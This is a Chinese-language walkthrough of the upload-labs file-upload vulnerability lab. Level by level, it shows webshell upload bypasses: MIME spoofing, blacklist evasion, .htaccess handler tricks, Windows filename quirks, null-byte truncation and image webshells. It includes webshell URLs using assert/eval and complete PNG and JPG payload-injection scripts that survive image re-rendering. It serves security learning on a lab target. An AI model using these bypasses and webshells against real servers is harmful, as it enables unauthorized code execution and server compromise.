一、环境
在github上找upload-labs-0.1环境,部署在小皮面板上
upload靶机包
也可以直接下载他的集成的环境
二、闯关
1、Pass-01(前端验证)
文件上传漏洞就是利用我们上传的后门文件可以服务器进行解析
首先我们要写一个一句话木马文件,上传到服务器
以下是我写的一句话木马
我们直接上传试一下,有一个弹窗,可见我们的上传是被js拦住了
js拦截代码
那么我们怎么才能绕过呢?
方法一:利用浏览器的机制可以禁用js
方法二:删除浏览器事件
我这就直接禁用js为例
这次我们就上传成功了,upload目录下也有我们的一句话木马
可以进行测试,查看一句话木马的效果,我们的一句话木马是get传参形式的,
eval函数在动态传参时,php的底层认为eval不是函数,所以我们用不了
但是assert函数在php底层却是以函数执行的,那么第一个参数我们就用assert
http://127.0.0.1/upload-labs/upload/web.php?0=assert&1=phpinfo()
可以看到是实现成功的
2、Pass-02(MIME验证)
第二关,我们直接上传一个php文件试试,看会给我们提示什么
说是我们的文件类型不对,我们用BurpSuite抓包看一下
我们可以看到我们的文件类型是application/octet-stream(二进制数据类型)
补充:
既然它提示我们的是上传的数据类型不对,那么后端大概率检测的是我们上传文件的文件类型,那么我们在抓包这块将文件类型改为img的文件类型,
类型:image/jpeg
试一下我们的结果是否可行,很明显,我们上传成功,
执行一下我们的一句话(同第一关)
ok,下一关
3、Pass-03(黑名单验证,特殊后缀)
直接上床我们的php文件,看一下会提示什么?
不允许上传.asp,.aspx,.php,.jsp后缀文件!
很明显这块大概率过滤的是我们的后缀,我很查看下源码,可以看到要是这几个后缀匹配到就不执行上传
那么我们要进行绕过,并且要让服务器能解析我们上传的文件,
在apache中的配置文件中,我们可以看到他会将 .php .php3 .phtml 这几个后缀当做php文件进行解析
那么我们上传.php3文件,刚过可以绕过黑名单,并且文件可以被解析
只说不做是徒劳,我们试验一下
上传成功,并且可以进行解析
ok,继续下一关
4、Pass-04(.htaccess解析绕过)
啥也不说,继续试一下php文件上传
不让我们上传,要是猜的他的黑名单的话,会格外的费劲
直接上源码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
可以看到,这关的黑名单过滤的是相当的多,基本将我们的后缀都过滤掉了
这时候该怎么进行绕过呢
这时候补充一个知识点:
.htaccess文件解析漏洞
.htaccess参数
常见配法有以下几种:
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
Sethandler application/x-httpd-php
Sethandler
将该目录及子目录的所有文件均映射为php文件类型。Addhandler
使用 php5-script 处理器来解析所匹配到的文件。AddType
将特定扩展名文件映射为php文件类型。
简单来说就是,可以将我们所的文件都解析成php或者是特定的文件解析为php
实践
那么我们创建一个.htaccess文件写上内容进行上传
Sethandler application/x-httpd-php
这是将本目录及所有子目录的所有文件都解析为php文件
很明显直接上传成功,那么我们再将我们的一句话木马上传,当然在这我们将文件后缀改为jpg格式,反正我们上传后的文件都会被解析为php,而且jpg也不会被过滤掉
上传后直接进行访问,看我们的一句话能否配解析
ok,完美
在这块我们试一下使用蚁剑进行连接,毕竟我们的后门已经上传成功,连接服务器的最后一步肯定是必须的
因为我们写的一句话木马是双get传参,但是蚁剑默认post传参,密码是post参数,
那我们可不可以将第二个参数直接传成post呢,试一下,但很可惜我们的没有连接上
按道理来说应该是可以的,为什么不行呢?
其实是因为蚁剑在连接时,他会查询我们服务器的信息,那么这些代码就要有个执行函数才能执行,那么我们就要在post前加上eval()函数,以让我们的代码能够以命令执行
http://172.16.30.134/upload/web.jpg?0=assert&1=eval($_POST['long'])
5、Pass-05(大小写绕过)
啥也不说,直接上传php文件,看提示
显示我们的文件类型不允许
这关肯定没这么简单,因为前面的第二关就是改了文件类型
我们直接查看源码,看看怎么个事
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
很明显,他是黑名单过滤我们的后缀,同时将我们上一关的.htaccess文件也过滤掉了
那么这时候怎么办呢,我们看到他的过滤数组里有小写、大小写混写,但没有纯大写,在下面也没看到转小写,而且我们的php文件名是不区分大小写的,ok,思路有了,直接开整
很明显,成功上传,验证是否可行
没得问题,直接下一关
6、Pass-06(黑名单验证,空格绕过)
直接使用上一关的文件继续上传可以看到,被拦截
猜的话,说实话还是很难猜的,直接上源码
相比上一关,我们可以看到在过滤这块有一点点的不一样,具体是哪呢?
其实相较于上一关,这一关他没有写trim()函数对文件名进行去除空格处理
那么去没去处空格有什么不一样呢,在windows环境下,系统会自动去除我们文件名后面的点和空格,但是在linux下并不会,linux环境下会保留我们文件名的特殊字符
我的环境是搭建在windows上的,整好可以利用这点,我们抓包对其文件名后面加一个空格,正好就可以绕过他的过滤数,然后windows会自动帮我们去除空格,
ok,思路已有,直接开整
可以看到在文件明后加上空格后成功进行绕过,我们是试试,是否可以访问我们的后门
ok,没得问题,下一关走起
7、Pass-07(黑名单验证,点号绕过)
直接上源码:
可以看到这一关他确实把去除空格加上了,但是你仔细看,仔细仔细看,他是不是没有去除文件名末尾的点 deldot()这个函数了,上面我也说过,windows环境时会自动去除文件末尾的点和空格的
ok,和上一关思路一样,开干
很明显,上传成功,ok,实践访问
直接下一关,继续闯!
8、Pass-08(黑名单验证,特殊字符::$DATA绕过)
废话不说,源码分析:
发现没发现没,这关的过滤相较于上一关又少了一个过滤(::$DATA)的字符串
解释:在windows环境下,不光会自动去除文件末尾的点和空格,同时(::$DATA)这个字符串,windows也会认为是非法字符,默认去除掉
ok,其实6、7、8关是为了出题而为我们设计的,那么和上一关一样直接闯!
莫得问题,直接访问
9、Pass-09(黑名单验证,结合绕过)
源码:
可以看到,结合上面几个的过滤,转小写、空格、点、.htaccess都给我们防住了
那这时候该怎么办呢?
代码是死的,人是活的。他每过一句代码,执行一次,那我们就在文件末尾多加几个空格点之类了,反正他也就每执行一次取出一个。
ok,那我们直接末尾加点空格点,开整
很明显,上传成功,看解析
10、Pass-10(黑名单验证,双写绕过)
看源码:
这一关明显不一样了,让我们来看看哪有洞
他在str_ireplace()函数这将我们的危险后缀都替换为空了,这该咋办。
还是那句话,代码死的,人是活的。他也就执行一次,那我们进行双写试试
和我们想的一样,确实是将一个php去掉后,然后拼接了一个新的php
访问解析看看
ok,下一关
11、Pass-11(get00截断)
源码源码:
这一关用到了低版本的00截断漏洞
解释00截断:
当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000
的形式。
而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险
这是因为php语言的底层是c语言,而\0在c语言中是字符串的结束符,所以导致00截断的发生
实践
解释完后,我们就要开始想办法怎么理由这个00截断来进行绕过,
我们可以看到img_path是通过get传参传递的,那么我们不妨在这块将路径改掉,改为upload/web.php%00,那么后面不管是什么东西都会被截断掉,然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径,当然,我们还是要上传jpg文件的,使得我们可以进行下面程序的运行
ok,分析完成,直接开干
很明显我很上传上去了,不确定去upload文件下看看
ok,继续下一关
12、Pass-12(post 00截断)
看源码:
我们可以看到和上一关的不同是上一关是get传参,而这一关是post传参
那么在这关受罚就要有点小小的不同了
因为上一关%00是经过url的编码,而post不会,所以在这一关我们就需要现在web.php后面加一个占位符,将其16进制改为00,这样孔子杰就出现了,最后在移动文件的时候就会触发\00截断
说也说了,我们直接试试,还是抓包进行修改
可以看到上传成功
13、Pass-13(图片马unpack)
这一关要让我们使用图片码来进行上传解析
那什么是图片吗呢?图片码就是在一张图片中写上我们的一句话,然后利用php的文件包含特性,可以将我们的图片以php进行解析
看源码:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
在getReailFileType()函数中,对图片的头部进行了判断,图片的头部对定义特定的图片类型,所以我们在制作图片码的时候不能再头部进行改动,
图片马的制作:首先找一张jpg图片和一句话木马,打开cmd,输入以下代码
>copy web.jpg/b + web.php/a web1.jpg
-----------------------------------------
web.jpg
web.php
已复制 1 个文件。
然后我们进行上传
上传成功,我们使用靶机给我们的文件包含漏洞进行解析
这个文件包含的特性是会将我们所有包含进来的文件都以php进行解析
14、Pass-14(getimagesize图片马)
源码:
这一关同理,将获取文件类型进行判断,直接上传上一关 的图马记性
15、Pass-15(exif_imagetype图片马)
知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif
模块。
所以还是可以用第十四关
的图片马绕过,并使用文件包含漏洞解析图片马
16、Pass-16
源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
这一关就没有前面几关简单了,他是会使用imagecreatefromjpeg()函数将我们的图片打散进行二次渲染,这就会导致我们的一句话木马消失,所以我们就要想办法在他没有打散的对方将我们的一句话写进去
gif格式
首先,我们先制作一个gif的图片马
copy web.gif /b + web.php /a web1.gif
--------------------------------------------
web.gif
web.php
已复制 1 个文件。
然后我们进行上传,然后下载下来查看我们的图片马的一句话还在不在,并且和原图马进行比较,看看哪块没有打散,那么在没打散的地方写入一句话
在010软件进行比对,可以看到我们打散后的图片的一句话消失了
那么我们在math中可以发现还是有很多地方没有改变的,那我们就在这块进行写入一句话
我们继续上传,然后下载下来,查看一句话还在不在
那么我们试着对其进行解析,同样还是文件包含
ok,成功解析
png格式
相对于gif格式的图片,png的二次渲染的绕过并不能像gif那样简单.
因为png分了好几个数据块组成,如果用上面的方法就成功不了,那么我们就要相悖的办法了
这里我就直接借鉴了另外一篇文章的代码,直接使用代码生成一个拥有一句话木马的图片
详见文章
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
直接运行生成一个图片马,打开可以看到是有我们的一句话木马的
那么开始上传吧,然后下载下来查看一句话是否还在
很幸运还在
那么开始访问吧,因为有post,所以用火狐访问
好了,接下来开始拱破jpg吧
jpg格式
在这里我还是借鉴了大牛的代码来进行实现
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
jpg格式的就和上面的不同了,首先先随便上传一个jpg图片,然后下载下来
然后在cmd下使用这条命令,将上传的图片和我们上面的代码文件放在一块生成新的jpg文件
php text.php 12425.jpg
打开看一下有没有一句话
然后我们进行上传,再下载下来岔开一句话是否还在,在的话直接运行即可,如果不行就多试重几次jpg图片
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.